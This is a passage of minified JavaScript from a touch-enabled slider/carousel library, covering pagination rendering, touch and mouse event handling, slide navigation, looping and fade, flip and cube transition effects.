class="'+b.params.bulletClass+'"></'+b.params.paginationElement+">";b.paginationContainer.html(e),b.bullets=b.paginationContainer.find("."+b.params.bulletClass),b.params.paginationClickable&&b.params.a11y&&b.a11y&&b.a11y.initPagination()}"fraction"===b.params.paginationType&&(e=b.params.paginationFractionRender?b.params.paginationFractionRender(b,b.params.paginationCurrentClass,b.params.paginationTotalClass):'<span class="'+b.params.paginationCurrentClass+'"></span> / <span class="'+b.params.paginationTotalClass+'"></span>',b.paginationContainer.html(e)),"progress"===b.params.paginationType&&(e=b.params.paginationProgressRender?b.params.paginationProgressRender(b,b.params.paginationProgressbarClass):'<span class="'+b.params.paginationProgressbarClass+'"></span>',b.paginationContainer.html(e)),"custom"!==b.params.paginationType&&b.emit("onPaginationRendered",b,b.paginationContainer[0])}},b.update=function(e){function a(){b.rtl?-b.translate:b.translate;s=Math.min(Math.max(b.translate,b.maxTranslate()),b.minTranslate()),b.setWrapperTranslate(s),b.updateActiveIndex(),b.updateClasses()}if(b)if(b.updateContainerSize(),b.updateSlidesSize(),b.updateProgress(),b.updatePagination(),b.updateClasses(),b.params.scrollbar&&b.scrollbar&&b.scrollbar.set(),e){var t,s;b.controller&&b.controller.spline&&(b.controller.spline=void 0),b.params.freeMode?(a(),b.params.autoHeight&&b.updateAutoHeight()):(t=("auto"===b.params.slidesPerView||b.params.slidesPerView>1)&&b.isEnd&&!b.params.centeredSlides?b.slideTo(b.slides.length-1,0,!1,!0):b.slideTo(b.activeIndex,0,!1,!0),t||a())}else b.params.autoHeight&&b.updateAutoHeight()},b.onResize=function(e){b.params.breakpoints&&b.setBreakpoint();var a=b.params.allowSwipeToPrev,t=b.params.allowSwipeToNext;b.params.allowSwipeToPrev=b.params.allowSwipeToNext=!0,b.updateContainerSize(),b.updateSlidesSize(),("auto"===b.params.slidesPerView||b.params.freeMode||e)&&b.updatePagination(),b.params.scrollbar&&b.scrollbar&&b.scrollbar.set(),b.controller&&b.controller.spline&&(b.controller.spline=void 0);var s=!1;if(b.params.freeMode){var i=Math.min(Math.max(b.translate,b.maxTranslate()),b.minTranslate());b.setWrapperTranslate(i),b.updateActiveIndex(),b.updateClasses(),b.params.autoHeight&&b.updateAutoHeight()}else b.updateClasses(),s=("auto"===b.params.slidesPerView||b.params.slidesPerView>1)&&b.isEnd&&!b.params.centeredSlides?b.slideTo(b.slides.length-1,0,!1,!0):b.slideTo(b.activeIndex,0,!1,!0);b.params.lazyLoading&&!s&&b.lazy&&b.lazy.load(),b.params.allowSwipeToPrev=a,b.params.allowSwipeToNext=t},b.touchEventsDesktop={start:"mousedown",move:"mousemove",end:"mouseup"},window.navigator.pointerEnabled?b.touchEventsDesktop={start:"pointerdown",move:"pointermove",end:"pointerup"}:window.navigator.msPointerEnabled&&(b.touchEventsDesktop={start:"MSPointerDown",move:"MSPointerMove",end:"MSPointerUp"}),b.touchEvents={start:b.support.touch||!b.params.simulateTouch?"touchstart":b.touchEventsDesktop.start,move:b.support.touch||!b.params.simulateTouch?"touchmove":b.touchEventsDesktop.move,end:b.support.touch||!b.params.simulateTouch?"touchend":b.touchEventsDesktop.end},(window.navigator.pointerEnabled||window.navigator.msPointerEnabled)&&("container"===b.params.touchEventsTarget?b.container:b.wrapper).addClass("swiper-wp8-"+b.params.direction),b.initEvents=function(e){var a=e?"off":"on",t=e?"removeEventListener":"addEventListener",s="container"===b.params.touchEventsTarget?b.container[0]:b.wrapper[0],r=b.support.touch?s:document,n=!!b.params.nested;if(b.browser.ie)s[t](b.touchEvents.start,b.onTouchStart,!1),r[t](b.touchEvents.move,b.onTouchMove,n),r[t](b.touchEvents.end,b.onTouchEnd,!1);else{if(b.support.touch){var o=!("touchstart"!==b.touchEvents.start||!b.support.passiveListener||!b.params.passiveListeners)&&{passive:!0,capture:!1};s[t](b.touchEvents.start,b.onTouchStart,o),s[t](b.touchEvents.move,b.onTouchMove,n),s[t](b.touchEvents.end,b.onTouchEnd,o)}(i.simulateTouch&&!b.device.ios&&!b.device.android||i.simulateTouch&&!b.support.touch&&b.device.ios)&&(s[t]("mousedown",b.onTouchStart,!1),document[t]("mousemove",b.onTouchMove,n),document[t]("mouseup",b.onTouchEnd,!1))}window[t]("resize",b.onResize),b.params.nextButton&&b.nextButton&&b.nextButton.length>0&&(b.nextButton[a]("click",b.onClickNext),b.params.a11y&&b.a11y&&b.nextButton[a]("keydown",b.a11y.onEnterKey)),b.params.prevButton&&b.prevButton&&b.prevButton.length>0&&(b.prevButton[a]("click",b.onClickPrev),b.params.a11y&&b.a11y&&b.prevButton[a]("keydown",b.a11y.onEnterKey)),b.params.pagination&&b.params.paginationClickable&&(b.paginationContainer[a]("click","."+b.params.bulletClass,b.onClickIndex),b.params.a11y&&b.a11y&&b.paginationContainer[a]("keydown","."+b.params.bulletClass,b.a11y.onEnterKey)),(b.params.preventClicks||b.params.preventClicksPropagation)&&s[t]("click",b.preventClicks,!0); },b.attachEvents=function(){b.initEvents()},b.detachEvents=function(){b.initEvents(!0)},b.allowClick=!0,b.preventClicks=function(e){b.allowClick||(b.params.preventClicks&&e.preventDefault(),b.params.preventClicksPropagation&&b.animating&&(e.stopPropagation(),e.stopImmediatePropagation()))},b.onClickNext=function(e){e.preventDefault(),b.isEnd&&!b.params.loop||b.slideNext()},b.onClickPrev=function(e){e.preventDefault(),b.isBeginning&&!b.params.loop||b.slidePrev()},b.onClickIndex=function(e){e.preventDefault();var t=a(this).index()*b.params.slidesPerGroup;b.params.loop&&(t+=b.loopedSlides),b.slideTo(t)},b.updateClickedSlide=function(e){var t=o(e,"."+b.params.slideClass),s=!1;if(t)for(var i=0;i<b.slides.length;i++)b.slides[i]===t&&(s=!0);if(!t||!s)return b.clickedSlide=void 0,void(b.clickedIndex=void 0);if(b.clickedSlide=t,b.clickedIndex=a(t).index(),b.params.slideToClickedSlide&&void 0!==b.clickedIndex&&b.clickedIndex!==b.activeIndex){var r,n=b.clickedIndex,l="auto"===b.params.slidesPerView?b.currentSlidesPerView():b.params.slidesPerView;if(b.params.loop){if(b.animating)return;r=parseInt(a(b.clickedSlide).attr("data-swiper-slide-index"),10),b.params.centeredSlides?n<b.loopedSlides-l/2||n>b.slides.length-b.loopedSlides+l/2?(b.fixLoop(),n=b.wrapper.children("."+b.params.slideClass+'[data-swiper-slide-index="'+r+'"]:not(.'+b.params.slideDuplicateClass+")").eq(0).index(),setTimeout(function(){b.slideTo(n)},0)):b.slideTo(n):n>b.slides.length-l?(b.fixLoop(),n=b.wrapper.children("."+b.params.slideClass+'[data-swiper-slide-index="'+r+'"]:not(.'+b.params.slideDuplicateClass+")").eq(0).index(),setTimeout(function(){b.slideTo(n)},0)):b.slideTo(n)}else b.slideTo(n)}};var C,z,M,E,P,I,k,L,D,B,H="input, select, textarea, button, video",G=Date.now(),X=[];b.animating=!1,b.touches={startX:0,startY:0,currentX:0,currentY:0,diff:0};var Y,A;b.onTouchStart=function(e){if(e.originalEvent&&(e=e.originalEvent),Y="touchstart"===e.type,Y||!("which"in e)||3!==e.which){if(b.params.noSwiping&&o(e,"."+b.params.noSwipingClass))return void(b.allowClick=!0);if(!b.params.swipeHandler||o(e,b.params.swipeHandler)){var t=b.touches.currentX="touchstart"===e.type?e.targetTouches[0].pageX:e.pageX,s=b.touches.currentY="touchstart"===e.type?e.targetTouches[0].pageY:e.pageY;if(!(b.device.ios&&b.params.iOSEdgeSwipeDetection&&t<=b.params.iOSEdgeSwipeThreshold)){if(C=!0,z=!1,M=!0,P=void 0,A=void 0,b.touches.startX=t,b.touches.startY=s,E=Date.now(),b.allowClick=!0,b.updateContainerSize(),b.swipeDirection=void 0,b.params.threshold>0&&(L=!1),"touchstart"!==e.type){var i=!0;a(e.target).is(H)&&(i=!1),document.activeElement&&a(document.activeElement).is(H)&&document.activeElement.blur(),i&&e.preventDefault()}b.emit("onTouchStart",b,e)}}}},b.onTouchMove=function(e){if(e.originalEvent&&(e=e.originalEvent),!Y||"mousemove"!==e.type){if(e.preventedByNestedSwiper)return b.touches.startX="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,void(b.touches.startY="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY);if(b.params.onlyExternal)return b.allowClick=!1,void(C&&(b.touches.startX=b.touches.currentX="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,b.touches.startY=b.touches.currentY="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY,E=Date.now()));if(Y&&b.params.touchReleaseOnEdges&&!b.params.loop)if(b.isHorizontal()){if(b.touches.currentX<b.touches.startX&&b.translate<=b.maxTranslate()||b.touches.currentX>b.touches.startX&&b.translate>=b.minTranslate())return}else if(b.touches.currentY<b.touches.startY&&b.translate<=b.maxTranslate()||b.touches.currentY>b.touches.startY&&b.translate>=b.minTranslate())return;if(Y&&document.activeElement&&e.target===document.activeElement&&a(e.target).is(H))return z=!0,void(b.allowClick=!1);if(M&&b.emit("onTouchMove",b,e),!(e.targetTouches&&e.targetTouches.length>1)){if(b.touches.currentX="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,b.touches.currentY="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY,"undefined"==typeof P){var t;b.isHorizontal()&&b.touches.currentY===b.touches.startY||!b.isHorizontal()&&b.touches.currentX===b.touches.startX?P=!1:(t=180*Math.atan2(Math.abs(b.touches.currentY-b.touches.startY),Math.abs(b.touches.currentX-b.touches.startX))/Math.PI,P=b.isHorizontal()?t>b.params.touchAngle:90-t>b.params.touchAngle)}if(P&&b.emit("onTouchMoveOpposite",b,e),"undefined"==typeof A&&b.browser.ieTouch&&(b.touches.currentX===b.touches.startX&&b.touches.currentY===b.touches.startY||(A=!0)),C){if(P)return void(C=!1);if(A||!b.browser.ieTouch){b.allowClick=!1,b.emit("onSliderMove",b,e),e.preventDefault(),b.params.touchMoveStopPropagation&&!b.params.nested&&e.stopPropagation(),z||(i.loop&&b.fixLoop(),k=b.getWrapperTranslate(),b.setWrapperTransition(0),b.animating&&b.wrapper.trigger("webkitTransitionEnd transitionend oTransitionEnd MSTransitionEnd msTransitionEnd"),b.params.autoplay&&b.autoplaying&&(b.params.autoplayDisableOnInteraction?b.stopAutoplay():b.pauseAutoplay()),B=!1,!b.params.grabCursor||b.params.allowSwipeToNext!==!0&&b.params.allowSwipeToPrev!==!0||b.setGrabCursor(!0)),z=!0;var s=b.touches.diff=b.isHorizontal()?b.touches.currentX-b.touches.startX:b.touches.currentY-b.touches.startY;s*=b.params.touchRatio,b.rtl&&(s=-s),b.swipeDirection=s>0?"prev":"next",I=s+k;var r=!0;if(s>0&&I>b.minTranslate()?(r=!1,b.params.resistance&&(I=b.minTranslate()-1+Math.pow(-b.minTranslate()+k+s,b.params.resistanceRatio))):s<0&&I<b.maxTranslate()&&(r=!1,b.params.resistance&&(I=b.maxTranslate()+1-Math.pow(b.maxTranslate()-k-s,b.params.resistanceRatio))),r&&(e.preventedByNestedSwiper=!0),!b.params.allowSwipeToNext&&"next"===b.swipeDirection&&I<k&&(I=k),!b.params.allowSwipeToPrev&&"prev"===b.swipeDirection&&I>k&&(I=k),b.params.threshold>0){if(!(Math.abs(s)>b.params.threshold||L))return void(I=k);if(!L)return L=!0,b.touches.startX=b.touches.currentX,b.touches.startY=b.touches.currentY,I=k,void(b.touches.diff=b.isHorizontal()?b.touches.currentX-b.touches.startX:b.touches.currentY-b.touches.startY)}b.params.followFinger&&((b.params.freeMode||b.params.watchSlidesProgress)&&b.updateActiveIndex(),b.params.freeMode&&(0===X.length&&X.push({position:b.touches[b.isHorizontal()?"startX":"startY"],time:E}),X.push({position:b.touches[b.isHorizontal()?"currentX":"currentY"],time:(new window.Date).getTime()})),b.updateProgress(I),b.setWrapperTranslate(I))}}}}},b.onTouchEnd=function(e){if(e.originalEvent&&(e=e.originalEvent),M&&b.emit("onTouchEnd",b,e),M=!1,C){b.params.grabCursor&&z&&C&&(b.params.allowSwipeToNext===!0||b.params.allowSwipeToPrev===!0)&&b.setGrabCursor(!1);var t=Date.now(),s=t-E;if(b.allowClick&&(b.updateClickedSlide(e),b.emit("onTap",b,e),s<300&&t-G>300&&(D&&clearTimeout(D),D=setTimeout(function(){b&&(b.params.paginationHide&&b.paginationContainer.length>0&&!a(e.target).hasClass(b.params.bulletClass)&&b.paginationContainer.toggleClass(b.params.paginationHiddenClass),b.emit("onClick",b,e))},300)),s<300&&t-G<300&&(D&&clearTimeout(D),b.emit("onDoubleTap",b,e))),G=Date.now(),setTimeout(function(){b&&(b.allowClick=!0)},0),!C||!z||!b.swipeDirection||0===b.touches.diff||I===k)return void(C=z=!1);C=z=!1;var i;if(i=b.params.followFinger?b.rtl?b.translate:-b.translate:-I,b.params.freeMode){if(i<-b.minTranslate())return void b.slideTo(b.activeIndex);if(i>-b.maxTranslate())return void(b.slides.length<b.snapGrid.length?b.slideTo(b.snapGrid.length-1):b.slideTo(b.slides.length-1));if(b.params.freeModeMomentum){if(X.length>1){var r=X.pop(),n=X.pop(),o=r.position-n.position,l=r.time-n.time;b.velocity=o/l,b.velocity=b.velocity/2,Math.abs(b.velocity)<b.params.freeModeMinimumVelocity&&(b.velocity=0),(l>150||(new window.Date).getTime()-r.time>300)&&(b.velocity=0)}else b.velocity=0;b.velocity=b.velocity*b.params.freeModeMomentumVelocityRatio,X.length=0;var p=1e3*b.params.freeModeMomentumRatio,d=b.velocity*p,u=b.translate+d;b.rtl&&(u=-u);var c,m=!1,h=20*Math.abs(b.velocity)*b.params.freeModeMomentumBounceRatio;if(u<b.maxTranslate())b.params.freeModeMomentumBounce?(u+b.maxTranslate()<-h&&(u=b.maxTranslate()-h),c=b.maxTranslate(),m=!0,B=!0):u=b.maxTranslate();else if(u>b.minTranslate())b.params.freeModeMomentumBounce?(u-b.minTranslate()>h&&(u=b.minTranslate()+h),c=b.minTranslate(),m=!0,B=!0):u=b.minTranslate();else if(b.params.freeModeSticky){var g,f=0;for(f=0;f<b.snapGrid.length;f+=1)if(b.snapGrid[f]>-u){g=f;break}u=Math.abs(b.snapGrid[g]-u)<Math.abs(b.snapGrid[g-1]-u)||"next"===b.swipeDirection?b.snapGrid[g]:b.snapGrid[g-1],b.rtl||(u=-u)}if(0!==b.velocity)p=b.rtl?Math.abs((-u-b.translate)/b.velocity):Math.abs((u-b.translate)/b.velocity);else if(b.params.freeModeSticky)return void b.slideReset();b.params.freeModeMomentumBounce&&m?(b.updateProgress(c),b.setWrapperTransition(p),b.setWrapperTranslate(u),b.onTransitionStart(),b.animating=!0,b.wrapper.transitionEnd(function(){b&&B&&(b.emit("onMomentumBounce",b),b.setWrapperTransition(b.params.speed),b.setWrapperTranslate(c),b.wrapper.transitionEnd(function(){b&&b.onTransitionEnd()}))})):b.velocity?(b.updateProgress(u),b.setWrapperTransition(p),b.setWrapperTranslate(u),b.onTransitionStart(),b.animating||(b.animating=!0,b.wrapper.transitionEnd(function(){b&&b.onTransitionEnd()}))):b.updateProgress(u),b.updateActiveIndex()}return void((!b.params.freeModeMomentum||s>=b.params.longSwipesMs)&&(b.updateProgress(),b.updateActiveIndex()))}var v,w=0,y=b.slidesSizesGrid[0];for(v=0;v<b.slidesGrid.length;v+=b.params.slidesPerGroup)"undefined"!=typeof b.slidesGrid[v+b.params.slidesPerGroup]?i>=b.slidesGrid[v]&&i<b.slidesGrid[v+b.params.slidesPerGroup]&&(w=v,y=b.slidesGrid[v+b.params.slidesPerGroup]-b.slidesGrid[v]):i>=b.slidesGrid[v]&&(w=v,y=b.slidesGrid[b.slidesGrid.length-1]-b.slidesGrid[b.slidesGrid.length-2]);var x=(i-b.slidesGrid[w])/y;if(s>b.params.longSwipesMs){if(!b.params.longSwipes)return void b.slideTo(b.activeIndex);"next"===b.swipeDirection&&(x>=b.params.longSwipesRatio?b.slideTo(w+b.params.slidesPerGroup):b.slideTo(w)),"prev"===b.swipeDirection&&(x>1-b.params.longSwipesRatio?b.slideTo(w+b.params.slidesPerGroup):b.slideTo(w))}else{if(!b.params.shortSwipes)return void b.slideTo(b.activeIndex);"next"===b.swipeDirection&&b.slideTo(w+b.params.slidesPerGroup),"prev"===b.swipeDirection&&b.slideTo(w)}}},b._slideTo=function(e,a){return b.slideTo(e,a,!0,!0)},b.slideTo=function(e,a,t,s){"undefined"==typeof t&&(t=!0),"undefined"==typeof e&&(e=0),e<0&&(e=0),b.snapIndex=Math.floor(e/b.params.slidesPerGroup),b.snapIndex>=b.snapGrid.length&&(b.snapIndex=b.snapGrid.length-1);var i=-b.snapGrid[b.snapIndex];if(b.params.autoplay&&b.autoplaying&&(s||!b.params.autoplayDisableOnInteraction?b.pauseAutoplay(a):b.stopAutoplay()),b.updateProgress(i),b.params.normalizeSlideIndex)for(var r=0;r<b.slidesGrid.length;r++)-Math.floor(100*i)>=Math.floor(100*b.slidesGrid[r])&&(e=r);return!(!b.params.allowSwipeToNext&&i<b.translate&&i<b.minTranslate())&&(!(!b.params.allowSwipeToPrev&&i>b.translate&&i>b.maxTranslate()&&(b.activeIndex||0)!==e)&&("undefined"==typeof a&&(a=b.params.speed),b.previousIndex=b.activeIndex||0,b.activeIndex=e,b.updateRealIndex(),b.rtl&&-i===b.translate||!b.rtl&&i===b.translate?(b.params.autoHeight&&b.updateAutoHeight(),b.updateClasses(),"slide"!==b.params.effect&&b.setWrapperTranslate(i),!1):(b.updateClasses(),b.onTransitionStart(t),0===a||b.browser.lteIE9?(b.setWrapperTranslate(i),b.setWrapperTransition(0),b.onTransitionEnd(t)):(b.setWrapperTranslate(i),b.setWrapperTransition(a),b.animating||(b.animating=!0,b.wrapper.transitionEnd(function(){b&&b.onTransitionEnd(t)}))),!0)))},b.onTransitionStart=function(e){"undefined"==typeof e&&(e=!0),b.params.autoHeight&&b.updateAutoHeight(),b.lazy&&b.lazy.onTransitionStart(),e&&(b.emit("onTransitionStart",b),b.activeIndex!==b.previousIndex&&(b.emit("onSlideChangeStart",b),b.activeIndex>b.previousIndex?b.emit("onSlideNextStart",b):b.emit("onSlidePrevStart",b)))},b.onTransitionEnd=function(e){b.animating=!1,b.setWrapperTransition(0),"undefined"==typeof e&&(e=!0),b.lazy&&b.lazy.onTransitionEnd(),e&&(b.emit("onTransitionEnd",b),b.activeIndex!==b.previousIndex&&(b.emit("onSlideChangeEnd",b),b.activeIndex>b.previousIndex?b.emit("onSlideNextEnd",b):b.emit("onSlidePrevEnd",b))),b.params.history&&b.history&&b.history.setHistory(b.params.history,b.activeIndex),b.params.hashnav&&b.hashnav&&b.hashnav.setHash()},b.slideNext=function(e,a,t){if(b.params.loop){if(b.animating)return!1;b.fixLoop();b.container[0].clientLeft;return b.slideTo(b.activeIndex+b.params.slidesPerGroup,a,e,t)}return b.slideTo(b.activeIndex+b.params.slidesPerGroup,a,e,t)},b._slideNext=function(e){return b.slideNext(!0,e,!0)},b.slidePrev=function(e,a,t){if(b.params.loop){if(b.animating)return!1;b.fixLoop();b.container[0].clientLeft;return b.slideTo(b.activeIndex-1,a,e,t)}return b.slideTo(b.activeIndex-1,a,e,t)},b._slidePrev=function(e){return b.slidePrev(!0,e,!0)},b.slideReset=function(e,a,t){return b.slideTo(b.activeIndex,a,e)},b.disableTouchControl=function(){return b.params.onlyExternal=!0,!0},b.enableTouchControl=function(){return b.params.onlyExternal=!1,!0},b.setWrapperTransition=function(e,a){b.wrapper.transition(e),"slide"!==b.params.effect&&b.effects[b.params.effect]&&b.effects[b.params.effect].setTransition(e),b.params.parallax&&b.parallax&&b.parallax.setTransition(e),b.params.scrollbar&&b.scrollbar&&b.scrollbar.setTransition(e),b.params.control&&b.controller&&b.controller.setTransition(e,a),b.emit("onSetTransition",b,e)},b.setWrapperTranslate=function(e,a,t){var s=0,i=0,n=0;b.isHorizontal()?s=b.rtl?-e:e:i=e,b.params.roundLengths&&(s=r(s),i=r(i)),b.params.virtualTranslate||(b.support.transforms3d?b.wrapper.transform("translate3d("+s+"px, "+i+"px, "+n+"px)"):b.wrapper.transform("translate("+s+"px, "+i+"px)")),b.translate=b.isHorizontal()?s:i;var o,l=b.maxTranslate()-b.minTranslate();o=0===l?0:(e-b.minTranslate())/l,o!==b.progress&&b.updateProgress(e),a&&b.updateActiveIndex(),"slide"!==b.params.effect&&b.effects[b.params.effect]&&b.effects[b.params.effect].setTranslate(b.translate),b.params.parallax&&b.parallax&&b.parallax.setTranslate(b.translate),b.params.scrollbar&&b.scrollbar&&b.scrollbar.setTranslate(b.translate),b.params.control&&b.controller&&b.controller.setTranslate(b.translate,t),b.emit("onSetTranslate",b,b.translate)},b.getTranslate=function(e,a){var t,s,i,r;return"undefined"==typeof a&&(a="x"),b.params.virtualTranslate?b.rtl?-b.translate:b.translate:(i=window.getComputedStyle(e,null),window.WebKitCSSMatrix?(s=i.transform||i.webkitTransform,s.split(",").length>6&&(s=s.split(", ").map(function(e){return e.replace(",",".")}).join(", ")),r=new window.WebKitCSSMatrix("none"===s?"":s)):(r=i.MozTransform||i.OTransform||i.MsTransform||i.msTransform||i.transform||i.getPropertyValue("transform").replace("translate(","matrix(1, 0, 0, 1,"),t=r.toString().split(",")),"x"===a&&(s=window.WebKitCSSMatrix?r.m41:16===t.length?parseFloat(t[12]):parseFloat(t[4])),"y"===a&&(s=window.WebKitCSSMatrix?r.m42:16===t.length?parseFloat(t[13]):parseFloat(t[5])),b.rtl&&s&&(s=-s),s||0)},b.getWrapperTranslate=function(e){return"undefined"==typeof e&&(e=b.isHorizontal()?"x":"y"),b.getTranslate(b.wrapper[0],e)},b.observers=[],b.initObservers=function(){if(b.params.observeParents)for(var e=b.container.parents(),a=0;a<e.length;a++)l(e[a]);l(b.container[0],{childList:!1}),l(b.wrapper[0],{attributes:!1})},b.disconnectObservers=function(){for(var e=0;e<b.observers.length;e++)b.observers[e].disconnect();b.observers=[]},b.createLoop=function(){b.wrapper.children("."+b.params.slideClass+"."+b.params.slideDuplicateClass).remove();var e=b.wrapper.children("."+b.params.slideClass);"auto"!==b.params.slidesPerView||b.params.loopedSlides||(b.params.loopedSlides=e.length),b.loopedSlides=parseInt(b.params.loopedSlides||b.params.slidesPerView,10),b.loopedSlides=b.loopedSlides+b.params.loopAdditionalSlides,b.loopedSlides>e.length&&(b.loopedSlides=e.length);var t,s=[],i=[];for(e.each(function(t,r){var n=a(this);t<b.loopedSlides&&i.push(r),t<e.length&&t>=e.length-b.loopedSlides&&s.push(r),n.attr("data-swiper-slide-index",t)}),t=0;t<i.length;t++)b.wrapper.append(a(i[t].cloneNode(!0)).addClass(b.params.slideDuplicateClass));for(t=s.length-1;t>=0;t--)b.wrapper.prepend(a(s[t].cloneNode(!0)).addClass(b.params.slideDuplicateClass))},b.destroyLoop=function(){b.wrapper.children("."+b.params.slideClass+"."+b.params.slideDuplicateClass).remove(),b.slides.removeAttr("data-swiper-slide-index")},b.reLoop=function(e){var a=b.activeIndex-b.loopedSlides;b.destroyLoop(),b.createLoop(),b.updateSlidesSize(),e&&b.slideTo(a+b.loopedSlides,0,!1)},b.fixLoop=function(){var e;b.activeIndex<b.loopedSlides?(e=b.slides.length-3*b.loopedSlides+b.activeIndex,e+=b.loopedSlides,b.slideTo(e,0,!1,!0)):("auto"===b.params.slidesPerView&&b.activeIndex>=2*b.loopedSlides||b.activeIndex>b.slides.length-2*b.params.slidesPerView)&&(e=-b.slides.length+b.activeIndex+b.loopedSlides,e+=b.loopedSlides,b.slideTo(e,0,!1,!0))},b.appendSlide=function(e){if(b.params.loop&&b.destroyLoop(),"object"==typeof e&&e.length)for(var a=0;a<e.length;a++)e[a]&&b.wrapper.append(e[a]);else b.wrapper.append(e);b.params.loop&&b.createLoop(),b.params.observer&&b.support.observer||b.update(!0)},b.prependSlide=function(e){b.params.loop&&b.destroyLoop();var a=b.activeIndex+1;if("object"==typeof e&&e.length){for(var t=0;t<e.length;t++)e[t]&&b.wrapper.prepend(e[t]);a=b.activeIndex+e.length}else b.wrapper.prepend(e);b.params.loop&&b.createLoop(),b.params.observer&&b.support.observer||b.update(!0),b.slideTo(a,0,!1)},b.removeSlide=function(e){b.params.loop&&(b.destroyLoop(),b.slides=b.wrapper.children("."+b.params.slideClass));var a,t=b.activeIndex;if("object"==typeof e&&e.length){for(var s=0;s<e.length;s++)a=e[s],b.slides[a]&&b.slides.eq(a).remove(),a<t&&t--;t=Math.max(t,0)}else a=e,b.slides[a]&&b.slides.eq(a).remove(),a<t&&t--,t=Math.max(t,0);b.params.loop&&b.createLoop(),b.params.observer&&b.support.observer||b.update(!0),b.params.loop?b.slideTo(t+b.loopedSlides,0,!1):b.slideTo(t,0,!1)},b.removeAllSlides=function(){for(var e=[],a=0;a<b.slides.length;a++)e.push(a);b.removeSlide(e)},b.effects={fade:{setTranslate:function(){for(var e=0;e<b.slides.length;e++){var a=b.slides.eq(e),t=a[0].swiperSlideOffset,s=-t;b.params.virtualTranslate||(s-=b.translate);var i=0;b.isHorizontal()||(i=s,s=0);var r=b.params.fade.crossFade?Math.max(1-Math.abs(a[0].progress),0):1+Math.min(Math.max(a[0].progress,-1),0);a.css({opacity:r}).transform("translate3d("+s+"px, "+i+"px, 0px)")}},setTransition:function(e){if(b.slides.transition(e),b.params.virtualTranslate&&0!==e){var a=!1;b.slides.transitionEnd(function(){if(!a&&b){a=!0,b.animating=!1;for(var e=["webkitTransitionEnd","transitionend","oTransitionEnd","MSTransitionEnd","msTransitionEnd"],t=0;t<e.length;t++)b.wrapper.trigger(e[t])}})}}},flip:{setTranslate:function(){for(var e=0;e<b.slides.length;e++){var t=b.slides.eq(e),s=t[0].progress;b.params.flip.limitRotation&&(s=Math.max(Math.min(t[0].progress,1),-1));var i=t[0].swiperSlideOffset,r=-180*s,n=r,o=0,l=-i,p=0;if(b.isHorizontal()?b.rtl&&(n=-n):(p=l,l=0,o=-n,n=0),t[0].style.zIndex=-Math.abs(Math.round(s))+b.slides.length,b.params.flip.slideShadows){var d=b.isHorizontal()?t.find(".swiper-slide-shadow-left"):t.find(".swiper-slide-shadow-top"),u=b.isHorizontal()?t.find(".swiper-slide-shadow-right"):t.find(".swiper-slide-shadow-bottom");0===d.length&&(d=a('<div class="swiper-slide-shadow-'+(b.isHorizontal()?"left":"top")+'"></div>'),t.append(d)),0===u.length&&(u=a('<div class="swiper-slide-shadow-'+(b.isHorizontal()?"right":"bottom")+'"></div>'),t.append(u)),d.length&&(d[0].style.opacity=Math.max(-s,0)),u.length&&(u[0].style.opacity=Math.max(s,0))}t.transform("translate3d("+l+"px, "+p+"px, 0px) rotateX("+o+"deg) rotateY("+n+"deg)")}},setTransition:function(e){if(b.slides.transition(e).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(e),b.params.virtualTranslate&&0!==e){var t=!1;b.slides.eq(b.activeIndex).transitionEnd(function(){if(!t&&b&&a(this).hasClass(b.params.slideActiveClass)){t=!0,b.animating=!1;for(var e=["webkitTransitionEnd","transitionend","oTransitionEnd","MSTransitionEnd","msTransitionEnd"],s=0;s<e.length;s++)b.wrapper.trigger(e[s])}})}}},cube:{setTranslate:function(){var e,t=0;b.params.cube.shadow&&(b.isHorizontal()?(e=b.wrapper.find(".swiper-cube-shadow"),0===e.length&&(e=a('<div class="swiper-cube-shadow"></div>'),b.wrapper.append(e)),e.css({height:b.width+"px"})):(e=b.container.find(".swiper-cube-shadow"),0===e.length&&(e=a('<div class="swiper-cube-shadow"></div>'),b.container.append(e))));for(var s=0;s<b.slides.length;s++){var i=b.slides.eq(s),r=90*s,n=Math.floor(r/360);b.rtl&&(r=-r,n=Math.floor(-r/360));var o=Math.max(Math.min(i[0].progress,1),-1),l=0,p=0,d=0;s%4===0?(l=4*-n*b.size,d=0):(s-1)%4===0?(l=0,d=4*-n*b.size):(s-2)%4===0?(l=b.size+4*n*b.size,d=b.size):(s-3)%4===0&&(l=-b.size,d=3*b.size+4*b.size*n),b.rtl&&(l=-l),b.isHorizontal()||(p=l,l=0);var u="rotateX("+(b.isHorizontal()?0:-r)+"deg) rotateY("+(b.isHorizontal()?r:0)+"deg) translate3d("+l+"px, "+p+"px, "+d+"px)";if(o<=1&&o>-1&&(t=90*s+90*o,b.rtl&&(t=90*-s-90*o)),i.transform(u),b.params.cube.slideShadows){var c=b.isHorizontal()?i.find(".swiper-slide-shadow-left"):i.find(".swiper-slide-shadow-top"),m=b.isHorizontal()?i.find(".swiper-slide-shadow-right"):i.find(".swiper-slide-shadow-bottom");0===c.length&&(c=a('<div class="swiper-slide-shadow-'+(b.isHorizontal()?"left":"top")+'"></div>'),i.append(c)),0===m.length&&(m=a('<div class="swiper-slide-shadow-'+(b.isHorizontal()?"right":"bottom")+'"></div>'),i.append(m)),c.length&&(c[0].style.opacity=Math.max(-o,0)),m.length&&(m[0].style.opacity=Math.max(o,0))}}if(b.wrapper.css({"-webkit-transform-origin":"50% 50% -"+b.size/2+"px","-moz-transform-origin":"50% 50% -"+b.size/2+"px","-ms-transform-origin":"50% 50% -"+b.size/2+"px","transform-origin":"50% 50% -"+b.size/2+"px"}),b.params.cube.shadow)if(b.isHorizontal())e.transform("translate3d(0px, "+(b.width/2+b.params.cube.shadowOffset)+"px, "+-b.width/2+"px) rotateX(90deg) rotateZ(0deg) scale("+b.params.cube.shadowScale+")");else{var h=Math.abs(t)-90*Math.floor(Math.abs(t)/90),g=1.5-(Math.sin(2*h*Math.PI/360)/2+Math.cos(2*h*Math.PI/360)/2),f=b.params.cube.shadowScale,v=b.params.cube.shadowScale/g,w=b.params.cube.shadowOffset;e.transform("scale3d("+f+", 1, "+v+") translate3d(0px, "+(b.height/2+w)+"px, "+-b.height/2/v+"px) rotateX(-90deg)")}var y=b.isSafari||b.isUiWebView?-b.size/2:0;b.wrapper.transform("translate3d(0px,0,"+y+"px) 